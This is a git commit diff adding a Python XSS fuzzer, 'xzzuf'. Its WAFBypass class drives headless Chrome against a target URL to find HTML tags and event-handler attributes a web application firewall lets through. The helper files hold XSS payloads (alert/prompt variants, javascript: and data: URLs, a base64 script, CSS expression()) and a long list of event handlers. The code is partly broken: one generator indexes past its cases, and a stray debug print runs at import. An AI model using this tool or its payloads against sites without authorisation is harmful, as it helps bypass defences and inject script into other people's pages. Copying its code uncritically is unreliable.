Compare commits
	
		
			4 Commits
		
	
	
		
	
	| Author | SHA1 | Date | |
|---|---|---|---|
| 5e615cc189 | |||
| a6c0c62cc9 | |||
| 
						 | 
					196ffdcd4f | ||
| 
						 | 
					9e0ea55f29 | 
							
								
								
									
										3
									
								
								.gitignore
									
									
									
									
										vendored
									
									
								
							
							
						
						
									
										3
									
								
								.gitignore
									
									
									
									
										vendored
									
									
								
							@ -1,2 +1,3 @@
 | 
			
		||||
venv
 | 
			
		||||
chromedriver*
 | 
			
		||||
chromedriver*
 | 
			
		||||
__pycache__/
 | 
			
		||||
 | 
			
		||||
							
								
								
									
										64
									
								
								language.py
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										64
									
								
								language.py
									
									
									
									
									
										Normal file
									
								
							@ -0,0 +1,64 @@
 | 
			
		||||
from language_utils import gen_boolean, gen_color, gen_date, gen_email, gen_javascript, gen_number, gen_style, gen_text, gen_url
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
class HTMLTag:
 | 
			
		||||
    def __init__(self, name, self_closing=False):
 | 
			
		||||
        self.name = name
 | 
			
		||||
        self.self_closing = self_closing
 | 
			
		||||
        self.attributes = []
 | 
			
		||||
        self.children = []
 | 
			
		||||
 | 
			
		||||
    def __str__(self) -> str:
 | 
			
		||||
        tag = ""
 | 
			
		||||
        if self.self_closing:
 | 
			
		||||
            tag = f"<{self.name} "
 | 
			
		||||
            for attr in self.attributes:
 | 
			
		||||
                tag += f"{attr} "
 | 
			
		||||
            tag += "/>"
 | 
			
		||||
        else:
 | 
			
		||||
            tag = f"<{self.name}"
 | 
			
		||||
            for attr in self.attributes:
 | 
			
		||||
                tag += f"{attr} "
 | 
			
		||||
            tag += ">"
 | 
			
		||||
            for child in self.children:
 | 
			
		||||
                tag += f"{child}"
 | 
			
		||||
            tag += f"</{self.name}>"
 | 
			
		||||
        return tag
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
class HTMLTagAttributeType:
 | 
			
		||||
    TypeText = 0
 | 
			
		||||
    TypeBoolean = 1
 | 
			
		||||
    TypeNumber = 2
 | 
			
		||||
    TypeColor = 3
 | 
			
		||||
    TypeJavascript = 4
 | 
			
		||||
    TypeStlye = 5
 | 
			
		||||
    TypeURL = 6
 | 
			
		||||
    TypeEmail = 7
 | 
			
		||||
    TypeDate = 8
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
Generators = {
 | 
			
		||||
    HTMLTagAttributeType.TypeText: gen_text,
 | 
			
		||||
    HTMLTagAttributeType.TypeBoolean: gen_boolean,
 | 
			
		||||
    HTMLTagAttributeType.TypeNumber: gen_number,
 | 
			
		||||
    HTMLTagAttributeType.TypeColor: gen_color,
 | 
			
		||||
    HTMLTagAttributeType.TypeJavascript: gen_javascript,
 | 
			
		||||
    HTMLTagAttributeType.TypeStlye: gen_style,
 | 
			
		||||
    HTMLTagAttributeType.TypeURL: gen_url,
 | 
			
		||||
    HTMLTagAttributeType.TypeEmail: gen_email,
 | 
			
		||||
    HTMLTagAttributeType.TypeDate: gen_date,
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
class HTMLAttribute:
 | 
			
		||||
    def __init__(self, name, value_type):
 | 
			
		||||
        self.name = name
 | 
			
		||||
        self.kind = value_type
 | 
			
		||||
        self.value = Generators[value_type]()
 | 
			
		||||
 | 
			
		||||
    def __str__(self) -> str:
 | 
			
		||||
        if not self.value:
 | 
			
		||||
            return self.name
 | 
			
		||||
        else:
 | 
			
		||||
            return f'{self.name}="{self.value}"'
 | 
			
		||||
							
								
								
									
										122
									
								
								language_utils.py
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										122
									
								
								language_utils.py
									
									
									
									
									
										Normal file
									
								
							@ -0,0 +1,122 @@
 | 
			
		||||
from random import randint
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
def gen_text():
 | 
			
		||||
    cases = {
 | 
			
		||||
        0: lambda: 'alert(0)',
 | 
			
		||||
        1: lambda: 'prompt\x600\x60',
 | 
			
		||||
        2: lambda: '"confirm\x600\x60"',
 | 
			
		||||
        3: lambda: 'window["alert"](0)',
 | 
			
		||||
        4: lambda: 'window["prompt"](0)',
 | 
			
		||||
        5: lambda: 'window["confirm"](0)',
 | 
			
		||||
        6: lambda: '"alert\x600\x60"',
 | 
			
		||||
        7: lambda: '"prompt\x600\x60"',
 | 
			
		||||
        8: lambda: '"alert(1)"',
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    return cases[randint(0, 8)]()
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
def gen_boolean():
 | 
			
		||||
    cases = {
 | 
			
		||||
        0: lambda: 'true',
 | 
			
		||||
        1: lambda: 'false',
 | 
			
		||||
        2: lambda: '1',
 | 
			
		||||
        3: lambda: '0',
 | 
			
		||||
        4: lambda: 'null',
 | 
			
		||||
        5: lambda: 'undefined',
 | 
			
		||||
        6: lambda: '""',
 | 
			
		||||
        7: lambda: '[]',
 | 
			
		||||
        8: lambda: '{}',
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    return cases[randint(0, 8)]()
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
def gen_number():
 | 
			
		||||
    cases = {
 | 
			
		||||
        0: lambda: '0',
 | 
			
		||||
        1: lambda: '1',
 | 
			
		||||
        2: lambda: '0.1',
 | 
			
		||||
        3: lambda: '1.1',
 | 
			
		||||
        4: lambda: '0x1',
 | 
			
		||||
        5: lambda: '0b1',
 | 
			
		||||
        6: lambda: '0o1',
 | 
			
		||||
        7: lambda: '1e1',
 | 
			
		||||
        8: lambda: '1e-1',
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    return cases[randint(0, 8)]()
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
def gen_color():
 | 
			
		||||
    cases = {
 | 
			
		||||
        0: lambda: '#000000',
 | 
			
		||||
        1: lambda: '#ffffff',
 | 
			
		||||
        2: lambda: '#ff0000',
 | 
			
		||||
        3: lambda: '#00ff00',
 | 
			
		||||
        4: lambda: '#0000ff',
 | 
			
		||||
        5: lambda: '#ffff00',
 | 
			
		||||
        6: lambda: '#00ffff',
 | 
			
		||||
        7: lambda: '#ff00ff',
 | 
			
		||||
        8: lambda: '#c0c0c0',
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    return cases[randint(0, 8)]()
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
def gen_javascript():
 | 
			
		||||
    cases = {
 | 
			
		||||
        0: lambda: 'alert(0)',
 | 
			
		||||
        1: lambda: 'prompt\x600\x60',
 | 
			
		||||
        2: lambda: '"confirm\x600\x60"',
 | 
			
		||||
        3: lambda: 'window["alert"](0)',
 | 
			
		||||
        4: lambda: 'window["prompt"](0)',
 | 
			
		||||
        5: lambda: 'window["confirm"](0)',
 | 
			
		||||
        6: lambda: '"alert\x600\x60"',
 | 
			
		||||
        7: lambda: '"prompt\x600\x60"',
 | 
			
		||||
        8: lambda: '"alert(1)"',
 | 
			
		||||
        9: lambda: 'console.log(alert(1))//',
 | 
			
		||||
        10: lambda: 'console.log(alert(1))/*',
 | 
			
		||||
        11: lambda: '{1:alert(1)}',
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    return cases[randint(0, 11)]()
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
def gen_style():
 | 
			
		||||
    # xss via style
 | 
			
		||||
    cases = {
 | 
			
		||||
        0: lambda: 'background-image:url("javascript:alert(1)")',
 | 
			
		||||
        1: lambda: 'expression(alert(1))',
 | 
			
		||||
        2: lambda: 'expression\x600\x60',
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    return cases[randint(0, 2)]()
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
def gen_url():
 | 
			
		||||
    # xss via url
 | 
			
		||||
    cases = {
 | 
			
		||||
        0: lambda: 'javascript:alert(1)',
 | 
			
		||||
        1: lambda: 'data:text/html,<script>alert(1)</script>',
 | 
			
		||||
        2: lambda: 'data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==',
 | 
			
		||||
        3: lambda: 'data:text/html,<script>alert\x600\x60</script>',
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    return cases[randint(0, 3)]()
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
def gen_email():
 | 
			
		||||
    # xss via email
 | 
			
		||||
    cases = {
 | 
			
		||||
        0: lambda: '@javascript:alert(1)',
 | 
			
		||||
        1: lambda: 'javascript:alert(1)@',
 | 
			
		||||
        2: lambda: '@javascript:alert\x600\x60',
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    return cases[randint(0, 3)]()
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
def gen_date():
 | 
			
		||||
    return ''
 | 
			
		||||
							
								
								
									
										248
									
								
								tags.py
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										248
									
								
								tags.py
									
									
									
									
									
										Normal file
									
								
							@ -0,0 +1,248 @@
 | 
			
		||||
from language import HTMLAttribute, HTMLTag, HTMLTagAttributeType
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
Tags = [
 | 
			
		||||
    HTMLTag('a', self_closing=False),
 | 
			
		||||
    HTMLTag('abbr', self_closing=False),
 | 
			
		||||
    HTMLTag('acronym', self_closing=False),
 | 
			
		||||
    HTMLTag('address', self_closing=False),
 | 
			
		||||
    HTMLTag('applet', self_closing=False),
 | 
			
		||||
    HTMLTag('area', self_closing=True),
 | 
			
		||||
    HTMLTag('article', self_closing=False),
 | 
			
		||||
    HTMLTag('aside', self_closing=False),
 | 
			
		||||
    HTMLTag('audio', self_closing=False),
 | 
			
		||||
    HTMLTag('b', self_closing=False),
 | 
			
		||||
    HTMLTag('base', self_closing=True),
 | 
			
		||||
    HTMLTag('basefont', self_closing=False),
 | 
			
		||||
    HTMLTag('bdi', self_closing=False),
 | 
			
		||||
    HTMLTag('bdo', self_closing=False),
 | 
			
		||||
    HTMLTag('big', self_closing=False),
 | 
			
		||||
    HTMLTag('blockquote', self_closing=False),
 | 
			
		||||
    HTMLTag('body', self_closing=False),
 | 
			
		||||
    HTMLTag('br', self_closing=True),
 | 
			
		||||
    HTMLTag('button', self_closing=False),
 | 
			
		||||
    HTMLTag('canvas', self_closing=False),
 | 
			
		||||
    HTMLTag('caption', self_closing=False),
 | 
			
		||||
    HTMLTag('center', self_closing=False),
 | 
			
		||||
    HTMLTag('cite', self_closing=False),
 | 
			
		||||
    HTMLTag('code', self_closing=False),
 | 
			
		||||
    HTMLTag('col', self_closing=True),
 | 
			
		||||
    HTMLTag('colgroup', self_closing=False),
 | 
			
		||||
    HTMLTag('data', self_closing=False),
 | 
			
		||||
    HTMLTag('datalist', self_closing=False),
 | 
			
		||||
    HTMLTag('dd', self_closing=False),
 | 
			
		||||
    HTMLTag('del', self_closing=False),
 | 
			
		||||
    HTMLTag('details', self_closing=False),
 | 
			
		||||
    HTMLTag('dfn', self_closing=False),
 | 
			
		||||
    HTMLTag('dialog', self_closing=False),
 | 
			
		||||
    HTMLTag('dir', self_closing=False),
 | 
			
		||||
    HTMLTag('div', self_closing=False),
 | 
			
		||||
    HTMLTag('dl', self_closing=False),
 | 
			
		||||
    HTMLTag('dt', self_closing=False),
 | 
			
		||||
    HTMLTag('em', self_closing=False),
 | 
			
		||||
    HTMLTag('embed', self_closing=True),
 | 
			
		||||
    HTMLTag('fieldset', self_closing=False),
 | 
			
		||||
    HTMLTag('figcaption', self_closing=False),
 | 
			
		||||
    HTMLTag('figure', self_closing=False),
 | 
			
		||||
    HTMLTag('font', self_closing=False),
 | 
			
		||||
    HTMLTag('footer', self_closing=False),
 | 
			
		||||
    HTMLTag('form', self_closing=False),
 | 
			
		||||
    HTMLTag('frame', self_closing=True),
 | 
			
		||||
    HTMLTag('frameset', self_closing=False),
 | 
			
		||||
    HTMLTag('h1', self_closing=False),
 | 
			
		||||
    HTMLTag('h2', self_closing=False),
 | 
			
		||||
    HTMLTag('h3', self_closing=False),
 | 
			
		||||
    HTMLTag('h4', self_closing=False),
 | 
			
		||||
    HTMLTag('h5', self_closing=False),
 | 
			
		||||
    HTMLTag('h6', self_closing=False),
 | 
			
		||||
    HTMLTag('head', self_closing=False),
 | 
			
		||||
    HTMLTag('header', self_closing=False),
 | 
			
		||||
    HTMLTag('hr', self_closing=True),
 | 
			
		||||
    HTMLTag('html', self_closing=False),
 | 
			
		||||
    HTMLTag('i', self_closing=False),
 | 
			
		||||
    HTMLTag('iframe', self_closing=False),
 | 
			
		||||
    HTMLTag('img', self_closing=True),
 | 
			
		||||
    HTMLTag('input', self_closing=True),
 | 
			
		||||
    HTMLTag('ins', self_closing=False),
 | 
			
		||||
    HTMLTag('kbd', self_closing=False),
 | 
			
		||||
    HTMLTag('label', self_closing=False),
 | 
			
		||||
    HTMLTag('legend', self_closing=False),
 | 
			
		||||
    HTMLTag('li', self_closing=False),
 | 
			
		||||
    HTMLTag('link', self_closing=True),
 | 
			
		||||
    HTMLTag('main', self_closing=False),
 | 
			
		||||
    HTMLTag('map', self_closing=False),
 | 
			
		||||
    HTMLTag('mark', self_closing=False),
 | 
			
		||||
    HTMLTag('meta', self_closing=True),
 | 
			
		||||
    HTMLTag('meter', self_closing=False),
 | 
			
		||||
    HTMLTag('nav', self_closing=False),
 | 
			
		||||
    HTMLTag('noframes', self_closing=False),
 | 
			
		||||
    HTMLTag('noscript', self_closing=False),
 | 
			
		||||
    HTMLTag('object', self_closing=False),
 | 
			
		||||
    HTMLTag('ol', self_closing=False),
 | 
			
		||||
    HTMLTag('optgroup', self_closing=False),
 | 
			
		||||
    HTMLTag('option', self_closing=False),
 | 
			
		||||
    HTMLTag('output', self_closing=False),
 | 
			
		||||
    HTMLTag('p', self_closing=False),
 | 
			
		||||
    HTMLTag('param', self_closing=True),
 | 
			
		||||
    HTMLTag('picture', self_closing=False),
 | 
			
		||||
    HTMLTag('pre', self_closing=False),
 | 
			
		||||
    HTMLTag('progress', self_closing=False),
 | 
			
		||||
    HTMLTag('q', self_closing=False),
 | 
			
		||||
    HTMLTag('rp', self_closing=False),
 | 
			
		||||
    HTMLTag('rt', self_closing=False),
 | 
			
		||||
    HTMLTag('ruby', self_closing=False),
 | 
			
		||||
    HTMLTag('s', self_closing=False),
 | 
			
		||||
    HTMLTag('samp', self_closing=False),
 | 
			
		||||
    HTMLTag('script', self_closing=False),
 | 
			
		||||
    HTMLTag('section', self_closing=False),
 | 
			
		||||
    HTMLTag('select', self_closing=False),
 | 
			
		||||
    HTMLTag('small', self_closing=False),
 | 
			
		||||
    HTMLTag('source', self_closing=True),
 | 
			
		||||
    HTMLTag('span', self_closing=False),
 | 
			
		||||
    HTMLTag('strike', self_closing=False),
 | 
			
		||||
    HTMLTag('strong', self_closing=False),
 | 
			
		||||
    HTMLTag('style', self_closing=False),
 | 
			
		||||
    HTMLTag('sub', self_closing=False),
 | 
			
		||||
    HTMLTag('summary', self_closing=False),
 | 
			
		||||
    HTMLTag('sup', self_closing=False),
 | 
			
		||||
    HTMLTag('svg', self_closing=False),
 | 
			
		||||
    HTMLTag('table', self_closing=False),
 | 
			
		||||
    HTMLTag('tbody', self_closing=False),
 | 
			
		||||
    HTMLTag('td', self_closing=False),
 | 
			
		||||
    HTMLTag('template', self_closing=False),
 | 
			
		||||
    HTMLTag('textarea', self_closing=False),
 | 
			
		||||
    HTMLTag('tfoot', self_closing=False),
 | 
			
		||||
    HTMLTag('th', self_closing=False),
 | 
			
		||||
    HTMLTag('thead', self_closing=False),
 | 
			
		||||
    HTMLTag('time', self_closing=False),
 | 
			
		||||
    HTMLTag('title', self_closing=False),
 | 
			
		||||
    HTMLTag('tr', self_closing=False),
 | 
			
		||||
    HTMLTag('track', self_closing=True),
 | 
			
		||||
    HTMLTag('tt', self_closing=False),
 | 
			
		||||
    HTMLTag('u', self_closing=False),
 | 
			
		||||
    HTMLTag('ul', self_closing=False),
 | 
			
		||||
    HTMLTag('var', self_closing=False),
 | 
			
		||||
    HTMLTag('video', self_closing=False),
 | 
			
		||||
    HTMLTag('wbr', self_closing=True),
 | 
			
		||||
    HTMLTag('xmp', self_closing=False),
 | 
			
		||||
]
 | 
			
		||||
 | 
			
		||||
Attributes = [
 | 
			
		||||
    # events
 | 
			
		||||
    HTMLAttribute('onafterprint', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onafterscriptexecute', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onanimationcancel', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onanimationend', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onanimationiteration', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onanimationstart', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onauxclick', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onbeforecopy', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onbeforecut', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onbeforeinput', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onbeforeprint', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onbeforescriptexecute',
 | 
			
		||||
                  HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onbeforetoggle', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onbeforeunload', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onbegin', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onblur', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onbounce', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('oncanplay', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('oncanplaythrough', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onchange', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onclick', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onclose', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('oncontextmenu', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('oncopy', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('oncuechange', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('oncut', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('ondblclick', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('ondrag', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('ondragend', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('ondragenter', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('ondragleave', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('ondragover', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('ondragstart', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('ondrop', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('ondurationchange', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onend', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onended', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onerror', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onfinish', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onfocus', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onfocusin', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onfocusout', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onfullscreenchange', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onhashchange', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('oninput', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('oninvalid', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onkeydown', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onkeypress', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onkeyup', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onload', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onloadeddata', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onloadedmetadata', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onmessage', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onmousedown', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onmouseenter', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onmouseleave', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onmousemove', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onmouseout', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onmouseover', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onmouseup', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onmousewheel', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onmozfullscreenchange',
 | 
			
		||||
                  HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onpagehide', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onpageshow', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onpaste', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onpause', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onplay', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onplaying', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onpointerdown', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onpointerenter', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onpointerleave', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onpointermove', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onpointerout', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onpointerover', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onpointerrawupdate', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onpointerup', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onpopstate', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onprogress', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onratechange', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onrepeat', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onreset', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onresize', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onscroll', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onscrollend', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onsearch', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onseeked', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onseeking', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onselect', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onselectionchange', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onselectstart', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onshow', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onstart', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onsubmit', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('ontimeupdate', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('ontoggle', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('ontoggle(popover)', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('ontouchend', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('ontouchmove', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('ontouchstart', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('ontransitioncancel', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('ontransitionend', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('ontransitionrun', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('ontransitionstart', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onunhandledrejection', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onunload', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onvolumechange', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onwebkitanimationend', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onwebkitanimationiteration',
 | 
			
		||||
                  HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onwebkitanimationstart',
 | 
			
		||||
                  HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onwebkittransitionend',
 | 
			
		||||
                  HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
    HTMLAttribute('onwheel', HTMLTagAttributeType.TypeJavascript),
 | 
			
		||||
]
 | 
			
		||||
							
								
								
									
										192
									
								
								xzzuf.py
									
									
									
									
									
								
							
							
						
						
									
										192
									
								
								xzzuf.py
									
									
									
									
									
								
							@ -6,24 +6,89 @@ from selenium.webdriver.support.ui import WebDriverWait
 | 
			
		||||
from urllib.parse import urlparse
 | 
			
		||||
from urllib.parse import urlencode
 | 
			
		||||
 | 
			
		||||
from tags import Attributes
 | 
			
		||||
from tags import Tags
 | 
			
		||||
 | 
			
		||||
import random
 | 
			
		||||
import argparse
 | 
			
		||||
 | 
			
		||||
# WAFBypass class
 | 
			
		||||
 | 
			
		||||
from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType
 | 
			
		||||
 | 
			
		||||
t = HTMLTag("form")
 | 
			
		||||
i = HTMLTag("input", self_closing=True)
 | 
			
		||||
i.attributes.append(HTMLAttribute("type", HTMLTagAttributeType.TypeText))
 | 
			
		||||
t.children.append(i)
 | 
			
		||||
print(t)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
class WAFBypass():
 | 
			
		||||
    # Script JS per sovrascrivere la funzione alert nativa di JS.
 | 
			
		||||
    code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;}"
 | 
			
		||||
 | 
			
		||||
    def __init__(self, url) -> None:
 | 
			
		||||
        """
 | 
			
		||||
        Inizializzazione webdriver e controllo connessione all'URL.
 | 
			
		||||
        """
 | 
			
		||||
        self.options = webdriver.ChromeOptions()
 | 
			
		||||
        self.options.add_argument('--no-sandbox')
 | 
			
		||||
        self.options.add_argument('--headless')
 | 
			
		||||
        self.driver = webdriver.Chrome(options=self.options)
 | 
			
		||||
        self.url = urlparse(url)
 | 
			
		||||
 | 
			
		||||
        # Liste di attributi e tag non filtrati
 | 
			
		||||
        self.unfiltered_attributes = list()
 | 
			
		||||
        self.unfiltered_tags = list()
 | 
			
		||||
 | 
			
		||||
        if not self.check_connection():
 | 
			
		||||
            raise Exception("Connection Error")
 | 
			
		||||
 | 
			
		||||
        # Inietta il codice in ogni nuova pagina
 | 
			
		||||
        self.driver.execute_cdp_cmd(
 | 
			
		||||
            "Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
 | 
			
		||||
 | 
			
		||||
    def identify_unfiltered_attributes(self):
 | 
			
		||||
        """
 | 
			
		||||
        Identifica gli attributi che non sono filtrati dal WAF.
 | 
			
		||||
        """
 | 
			
		||||
        print("[*] Identifying unfiltered attributes:")
 | 
			
		||||
        try:
 | 
			
		||||
            for attr in Attributes:
 | 
			
		||||
                encoded = urlencode({"param2": f"{attr}"})
 | 
			
		||||
                url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
 | 
			
		||||
                is403, _ = self.navigate(url)
 | 
			
		||||
                if not is403:
 | 
			
		||||
                    print(f"   [+] {attr.name}")
 | 
			
		||||
                    self.unfiltered_attributes.append(attr)
